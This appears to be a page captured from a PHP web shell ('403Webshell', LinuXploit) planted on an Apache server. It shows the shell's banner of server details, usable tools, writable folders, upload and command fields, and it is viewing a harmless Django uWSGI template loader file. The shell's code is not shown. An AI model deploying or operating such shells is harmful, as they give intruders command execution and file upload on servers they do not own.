403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/django_uwsgi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/django_uwsgi/template.py
from django.template.base import TemplateDoesNotExist
from django.template.loader import BaseLoader
from django.conf import settings
from . import uwsgi


class Loader(BaseLoader):
    """uWSGI Template Loader"""

    is_usable = uwsgi

    def symbolize(self, name):
        return name.replace('.', '_').replace('/', '_').replace('-', '_')

    def load_template_source(self, template_name, template_dirs=None):
        filename = 'templates_' + self.symbolize(template_name)
        for app in settings.INSTALLED_APPS:
            try:
                symbol = '%s_%s' % (self.symbolize(app), filename)
                return (uwsgi.embedded_data(symbol), 'sym://%s' % symbol)
            except:
                pass
        raise TemplateDoesNotExist(template_name)

Youez - 2016 - github.com/yon3zu
LinuXploit